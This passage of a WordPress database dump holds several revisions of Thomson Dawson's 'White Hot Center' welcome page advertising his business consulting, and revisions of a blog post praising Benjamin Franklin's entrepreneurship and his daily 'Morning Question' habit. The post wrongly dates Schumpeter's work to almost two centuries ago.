clarity and confidence to make quantum leaps toward greater impact, influence and income. <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">Learn more</a> about how I can help you and your business organization be more successful.\r\n\r\nto your inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-08-10 16:40:52', '2013-08-10 23:40:52', '', 172, 'http://www.whitehotcenter.com/2013/08/172-revision-159/', 0, 'revision', '', 0),
(2431, 2, '2013-08-10 16:41:35', '2013-08-10 23:41:35', '<h2><img class="alignnone size-full wp-image-2360" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson60whc.jpg" alt="" width="495" height="307" /></h2>\r\n<h2><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals creating a better future with more impact, influence and income.\r\n</span></h2>\r\nI’m delighted you have found your way here. If you’re an entrepreneur or solo professional seeking information, inspiration and guidance on how to get your business to the next level, you’ve come to the right place! My purpose is to share with you everything I’ve learned about business and life success to help you get to your next level and experience the success you desire.\r\n\r\nIn my professional career as a marketing and brand strategist, designer, communications and creative consultant, I’ve served executives and their teams in global companies and start-up entrepreneurs alike; helping them to get their personal performance and business success to the next level. My entire professional life has been engaged with success-minded entrepreneurs and solo professionals innovating new ideas, strategies and tactics to create their bigger, better future. The most important lesson I have learned in my own entreprenuerial journey is to have more, you must first be more.\r\n<h2>Here on the White Hot Center, I share ideas for elevating the quality of your presence in the marketplace and in your life!</h2>\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers. Like you, I''m still learning and growing to bring more value to the world.\r\n\r\nThroughout the White Hot Center blog, you’ll find lots of articles presenting ideas, strategies and tactics for greater personal growth, professional leadership, lifestyle design, value creation, marketing, and business development. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire in your business and in your whole life.\r\n\r\nIf you find the ideas presented here useful, please share your comments here and with all your social networks. If you like, <a href="../">subscribe to receive the White Hot Center </a>posts directly in your email.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer issue-based individual business development consulting, group workshops and seminar trainings, tailored to entrepreneurs and solo professionals at the beginning stages of their business growth and for those whose business growth has reached a plateau. Through these consulting and training programs,  I''ll inspire and guide you to more clarity and confidence to make quantum leaps toward greater impact, influence and income. <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">Learn more</a> about how I can help you and your business organization be more successful.\r\n\r\nto your inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-08-10 16:41:35', '2013-08-10 23:41:35', '', 172, 'http://www.whitehotcenter.com/2013/08/172-revision-160/', 0, 'revision', '', 0),
(2432, 2, '2013-08-10 16:42:48', '2013-08-10 23:42:48', '<h2><img class="alignnone size-full wp-image-2360" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson60whc.jpg" alt="" width="495" height="307" /></h2>\r\n<h2><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals creating a better future with more impact, influence and income.\r\n</span></h2>\r\nI’m delighted you have found your way here. If you’re an entrepreneur or solo professional seeking information, inspiration and guidance on how to get your business to the next level, you’ve come to the right place! My purpose is to share with you everything I’ve learned about business and life success to help you get to your next level and experience the success you desire.\r\n\r\nIn my professional career as a marketing and brand strategist, designer, communications and creative consultant, I’ve served executives and their teams in global companies and start-up entrepreneurs alike; helping them to get their personal performance and business success to the next level.\r\n\r\nMy entire professional life has been engaged with success-minded entrepreneurs and solo professionals innovating new ideas, strategies and tactics to create their bigger, better future. The most important lesson I have learned in my own entreprenuerial journey is to have more, you must first be more.\r\n<h2>Here on the White Hot Center, I share ideas for elevating the quality of your presence in the marketplace and in your life!</h2>\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers. Like you, I''m still learning and growing to bring more value to the world.\r\n\r\nThroughout the White Hot Center blog, you’ll find lots of articles presenting ideas, strategies and tactics for greater personal growth, professional leadership, lifestyle design, value creation, marketing, and business development. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire in your business and in your whole life.\r\n\r\nIf you find the ideas presented here useful, please share your comments here and with all your social networks. If you like, <a href="../">subscribe to receive the White Hot Center </a>posts directly in your email.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer issue-based individual business development consulting, group workshops and seminar trainings, tailored to entrepreneurs and solo professionals at the beginning stages of their business growth and for those whose business growth has reached a plateau. Through these consulting and training programs,  I''ll inspire and guide you to more clarity and confidence to make quantum leaps toward greater impact, influence and income. <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">Learn more</a> about how I can help you and your business organization be more successful.\r\n\r\nto your inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-08-10 16:42:48', '2013-08-10 23:42:48', '', 172, 'http://www.whitehotcenter.com/2013/08/172-revision-161/', 0, 'revision', '', 0),
(2433, 2, '2013-08-10 16:48:34', '2013-08-10 23:48:34', '<h2><img class="alignnone size-full wp-image-2360" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson60whc.jpg" alt="" width="495" height="307" /></h2>\r\n<h2><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals creating a better future with more impact, influence and income.\r\n</span></h2>\r\nI’m delighted you have found your way here. If you’re an entrepreneur or solo professional seeking information, inspiration and guidance on how to get your business to the next level, you’ve come to the right place!\r\n\r\nMy purpose is to share with you everything I’ve learned about business and life success to help you get to your next level and experience the success you desire.\r\n\r\nIn my professional career as a marketing and brand strategist, designer, communications and creative consultant, I’ve served executives and their teams in global companies and start-up entrepreneurs alike; helping them to get their personal performance and business success to the next level.\r\n\r\nMy entire professional life has been engaged with success-minded entrepreneurs and solo professionals innovating new ideas, strategies and tactics to create their bigger, better future. From my experience, the most important lesson I''ve learned in creating success in any endeavor– to have more, you must first be more. As you expand your capacity to serve others, you expand your value to others.\r\n<h2>Here on the White Hot Center, I share ideas for elevating the quality of your presence in the marketplace and in your life!</h2>\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers. Like you, I''m still learning and growing to bring more value to the world.\r\n\r\nThroughout the White Hot Center blog, you’ll find lots of articles presenting ideas, strategies and tactics for greater personal growth, professional leadership, lifestyle design, value creation, marketing, and business development. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire in your business and in your whole life.\r\n\r\nIf you find the ideas presented here useful, please share your comments here and with all your social networks. If you like, <a href="../">subscribe to receive the White Hot Center </a>posts directly in your email.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer issue-based individual business development consulting, group workshops and seminar trainings, tailored to entrepreneurs and solo professionals at the beginning stages of their business growth and for those whose business growth has reached a plateau. Through these consulting and training programs,  I''ll inspire and guide you to more clarity and confidence to make quantum leaps toward greater impact, influence and income. <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">Learn more</a> about how I can help you and your business organization be more successful.\r\n\r\nto your inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-08-10 16:48:34', '2013-08-10 23:48:34', '', 172, 'http://www.whitehotcenter.com/2013/08/172-revision-162/', 0, 'revision', '', 0),
(2434, 2, '2013-08-10 16:50:57', '2013-08-10 23:50:57', '<h2><img class="alignnone size-full wp-image-2360" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson60whc.jpg" alt="" width="495" height="307" /></h2>\r\n<h2><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals creating a better future with more impact, influence and income.\r\n</span></h2>\r\nI’m delighted you have found your way here. If you’re an entrepreneur or solo professional seeking information, inspiration and guidance on how to get your business to the next level, you’ve come to the right place!\r\n\r\nMy purpose is to share with you everything I’ve learned about business and life success to help you get to your next level and experience the success you desire.\r\n\r\nIn my professional career as a marketing and brand strategist, designer, communications and creative consultant, I’ve served executives and their teams in global companies and start-up entrepreneurs alike; helping them to get their personal performance and business success to the next level.\r\n\r\nMy entire professional life has been engaged with success-minded entrepreneurs and solo professionals innovating new ideas, strategies and tactics to create their bigger, better future. From my experience, the most important lesson I''ve learned in creating success in any endeavor– to have more, you must first be more. As you expand your capacity to serve others, you expand your value to others.\r\n<h2>Here on the White Hot Center, I share ideas for elevating the quality of your presence in the marketplace by expanding your capacity to serve others and create more value!</h2>\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers. Like you, I''m still learning and growing to bring more value to the world.\r\n\r\nThroughout the White Hot Center blog, you’ll find lots of articles presenting ideas, strategies and tactics for greater personal growth, professional leadership, lifestyle design, value creation, marketing, and business development. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire in your business and in your whole life.\r\n\r\nIf you find the ideas presented here useful, please share your comments here and with all your social networks. If you like, <a href="../">subscribe to receive the White Hot Center </a>posts directly in your email.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer issue-based individual business development consulting, group workshops and seminar trainings, tailored to entrepreneurs and solo professionals at the beginning stages of their business growth and for those whose business growth has reached a plateau. Through these consulting and training programs,  I''ll inspire and guide you to more clarity and confidence to make quantum leaps toward greater impact, influence and income. <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">Learn more</a> about how I can help you and your business organization be more successful.\r\n\r\nto your inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-08-10 16:50:57', '2013-08-10 23:50:57', '', 172, 'http://www.whitehotcenter.com/2013/08/172-revision-163/', 0, 'revision', '', 0),
(2435, 2, '2013-08-10 16:54:29', '2013-08-10 23:54:29', '<h2><img class="alignnone size-full wp-image-2360" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson60whc.jpg" alt="" width="495" height="307" /></h2>\r\n<h2><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals creating a better future with more impact, influence and income.\r\n</span></h2>\r\nI’m delighted you have found your way here. If you’re an entrepreneur or solo professional seeking information, inspiration and guidance on how to get your business to the next level, you’ve come to the right place!\r\n\r\nMy purpose is to share with you everything I’ve learned about business and life success to help you get to your next level and experience the success you desire.\r\n\r\nIn my professional career as a marketing and brand strategist, designer, communications and creative consultant, I’ve served executives and their teams in global companies and start-up entrepreneurs alike; helping them to get their personal performance and business success to the next level.\r\n\r\nMy entire professional life has been engaged with success-minded entrepreneurs and solo professionals innovating new ideas, strategies and tactics to create their bigger, better future. From my experience, the most important lesson I''ve learned in creating success in any endeavor– to have more, you must first be more. As you expand your capacity to serve others, you expand your value to others.\r\n<h2>Here on the White Hot Center, I share ideas for elevating the quality of your presence in the marketplace by expanding your capacity to serve others and create more value!</h2>\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers. Like you, I''m fully committed to bringing more value to the world.\r\n\r\nThroughout the White Hot Center blog, you’ll find lots of articles presenting ideas, strategies and tactics for greater personal growth, professional leadership, lifestyle design, value creation, marketing, and business development. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire in your business and in your whole life.\r\n\r\nIf you find the ideas presented here useful, please share your comments here and with all your social networks. If you like, <a href="../">subscribe to receive the White Hot Center </a>posts directly in your email.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer issue-based individual business development consulting, group workshops and seminar trainings, tailored to entrepreneurs and solo professionals at the beginning stages of their business growth and for those whose business growth has reached a plateau. Through these consulting and training programs,  I''ll inspire and guide you to more clarity and confidence to make quantum leaps toward greater impact, influence and income. <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">Learn more</a> about how I can help you and your business organization be more successful.\r\n\r\nto your inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-08-10 16:54:29', '2013-08-10 23:54:29', '', 172, 'http://www.whitehotcenter.com/2013/08/172-revision-164/', 0, 'revision', '', 0),
(2437, 2, '2013-08-12 18:28:19', '2013-08-13 01:28:19', '', 'Ben Franklin Major Dude', 0, '', 'inherit', 'open', 'open', '', 'benfranklin', '', '', '2013-08-12 18:28:19', '2013-08-13 01:28:19', '', 2436, 'http://www.whitehotcenter.com/wp-content/uploads/2013/08/benfranklin.jpg', 0, 'attachment', 'image/jpeg', 0),
(2449, 2, '2013-08-12 18:57:41', '2013-08-13 01:57:41', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" /> Long before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\nGood ol Ben Franklin!  What a major dude that guy was! Unlike his contempories, he was self-made.  He’s a remarkable example of the “enlightened entrepreneur” that we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\n\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\n\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\n\n<strong>The enlightened, creative entrepreneur.</strong>\n\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\n\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\n\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\n\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\n\n<strong>Virture, character and service. </strong>\n\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\nTell that to Apple and Samsung fighting over their patents to control markets.\n\nFranklin is not suggesting innovation be free of charge. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\n\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\n\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness Franklin employed as a primary discipline throughout his entire life.\n\nFranklin began every day with the “Morning Question”.\n\n“What good shall I do this day?”\n\nHe ended every day with the “Evening Question”.\n\n“What good have I done today”?\n\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.', 'The Benjamin Franklin Model for Personal Effectiveness.', 0, '', 'inherit', 'open', 'open', '', '2436-revision-12', '', '', '2013-08-12 18:57:41', '2013-08-13 01:57:41', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision-12/', 0, 'revision', '', 0),
(2448, 2, '2013-08-12 18:56:41', '2013-08-13 01:56:41', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" /> Long before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\nGood ol Ben Franklin!  What a major dude that guy was! Unlike his contempories, he was self-made.  He’s a remarkable example of the “enlightened entrepreneur” that we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\n\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\n\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\n\n<strong>The enlightened, creative entrepreneur.</strong>\n\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\n\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\n\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\n\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\n\n<strong>Virture, character and service. </strong>\n\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\nTell that to Apple and Samsung fighting over their patents to control markets.\n\nFranklin is not suggesting innovation be free of charge. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\n\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\n\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness Franklin employed as a primary discipline throughout his entire life.\n\nFranklin began every day with the “Morning Question”.\n\n“What good shall I do this day?”\n\nHe ended every day with the “Evening Question”.\n\n“What good have I done today”?\n\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;', 'The Benjamin Franklin Model for Personal Effectiveness.', 0, '', 'inherit', 'open', 'open', '', '2436-revision-11', '', '', '2013-08-12 18:56:41', '2013-08-13 01:56:41', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision-11/', 0, 'revision', '', 0),
(2441, 2, '2013-08-12 18:43:55', '2013-08-13 01:43:55', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" /> Long before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\nGood ol Ben Franklin!  What a major dude that guy was! He’s a remarkable example of the “enlightened entrepreneur” that we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\n\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\n\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\n\n<strong>The enlightened, creative entrepreneur.</strong>\n\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\n\nSome might feel the word <em>entrepreneur</em> itself has become more associated with reckless ambition and greed considering the recent global recession. After all, there are entrepreneurs on Wall Street too.\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\n\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\n\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\n\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\n\n<strong>Virture, character and service. </strong>\n\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\nTell that to Apple and Samsung fighting over their patents to control markets.\n\nFranklin is not suggesting innovation be free of charge. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\n\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\n\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness Franklin employed as a primary discipline throughout his entire life.\n\nFranklin began every day with the “Morning Question”.\n\n“What good shall I do this day?”\n\nHe ended everyday with the “Evening Question”.\n\n“What good have I done today”?\n\nIf you want a better future with more impact, influence and income, I can’t think of a better habit to form. There’s a reason they put ol Ben’s kisser on a C-note. And for all of you in my little Ojai coffee shop who wonder what I’m writing in my journal everyday, now you know.\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;', 'The Benjamin Franklin Model for Personal Effectiveness.', 0, '', 'inherit', 'open', 'open', '', '2436-revision-4', '', '', '2013-08-12 18:43:55', '2013-08-13 01:43:55', '', 2436, 'http://www.whitehotcenter.com/2013/08/2436-revision-4/', 0, 'revision', '', 0),
(2438, 2, '2013-08-12 18:32:28', '2013-08-13 01:32:28', '<h1><img class="alignnone size-full wp-image-2437" title="Ben Franklin Major Dude" src="http://whc.fbdev.org/wp-content/uploads/2013/08/benfranklin.jpg" alt="" width="492" height="340" />\nLong before there were personal development gurus lurking in every corner of the Internet, we had the timeless wisdom and example of Benjamin Franklin.</h1>\nGood ol Ben Franklin!  What a major dude that guy was! He’s a remarkable example of the “enlightened entrepreneur” and we would all do well to study–especially in this hyper-connected digital, socially connected world we are currently living in.\n\nOl Ben’s approach to personal /professional development, innovation and service is a model we all might consider following. More so, if you are a creative entrepreneur or solo professional in the process of creating your next big thing!\n\nMy own appreciation of Ben Franklin as a mentor began early in my career when I was a struggling graphic designer. But not just for his writing, printing and publishing innovations, rather for his values and philosophy–which he masterfully embedded into his many astounding accomplishments as an entrepreneur. (His amazing feats as a statesman are a whole other discussion).\n\n<strong>The enlightened, creative entrepreneur.</strong>\n\nFor me, Ben Franklin is the epitome of the enlightened, creative entrepreneur.\n\nSome might feel the word <em>entrepreneur</em> itself has become more associated with reckless ambition and greed considering the recent global recession. After all, there are entrepreneurs on Wall Street too. (Of course here on the WHC, we all know economic conditions have little effect on an entrepreneur’s business success. Success begins in your head).\n<h2>Entrepreneurship, practiced by the likes of Ben Franklin, entails so much more than mere moneymaking. Ben practiced a philosophy of personal development rare in any age.</h2>\nAlmost two centuries ago, the great economist and philosopher Joseph Schumpeter, in his <em>Theory of Economic Development, </em>dismissed material gain as a driving force motivating entrepreneurs. He suggests two motivations far more important than money:\n\n1)    Entrepreneurs love creating, making something out of nothing, exercising their unique talents and ingenuity\n\n2)    Entrepreneurs want to succeed for its own sake, not for the fruits of success, but the experience of accomplishment itself.\n\nFor Ben Franklin, the fruits of success (money-making) were the means, never the end. Most, if not all, of Franklin’s businesses (as well as his inventions) were designed for the good of his community, not for his personal profit. Franklin was purpose-driven! His version of 18<sup>th</sup> century enlightened entrepreneurship was way ahead of his time–and so desperately needed in our capitalist-consumer-driven culture today.\n\n<strong>Virture, character and service. </strong>\n\nHere’s another good idea on serving customers from ol Ben himself written in his autobiography:\n<h3><em>“Knowledge is not for the personal property of its discoverer, but the common property of all. As we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of our own, and this we should do freely and generously”</em></h3>\nTell that to Apple and Samsung fighting over their patents to control markets.\n\nFranklin is not suggesting things be free. Heavens no! Franklin’s businesses were rolling in dough! That’s why he retired in his early forties. The big idea here says that serving others creates prosperity for all. This is why he had so much impact and influence in the world and will be forever remembered for his virtue, character and service.\n\n<strong>Ben Franklin’s simple and elegant formula for success.</strong>\n\nAnd finally, here’s the simple and elegant formula for personal growth and effectiveness Franklin employed as a primary discipline throughout his entire life.\n\nFranklin began every day with the “Morning Question”.\n\n“What good shall I do this day?”\n\nHe ended everyday with the “Evening 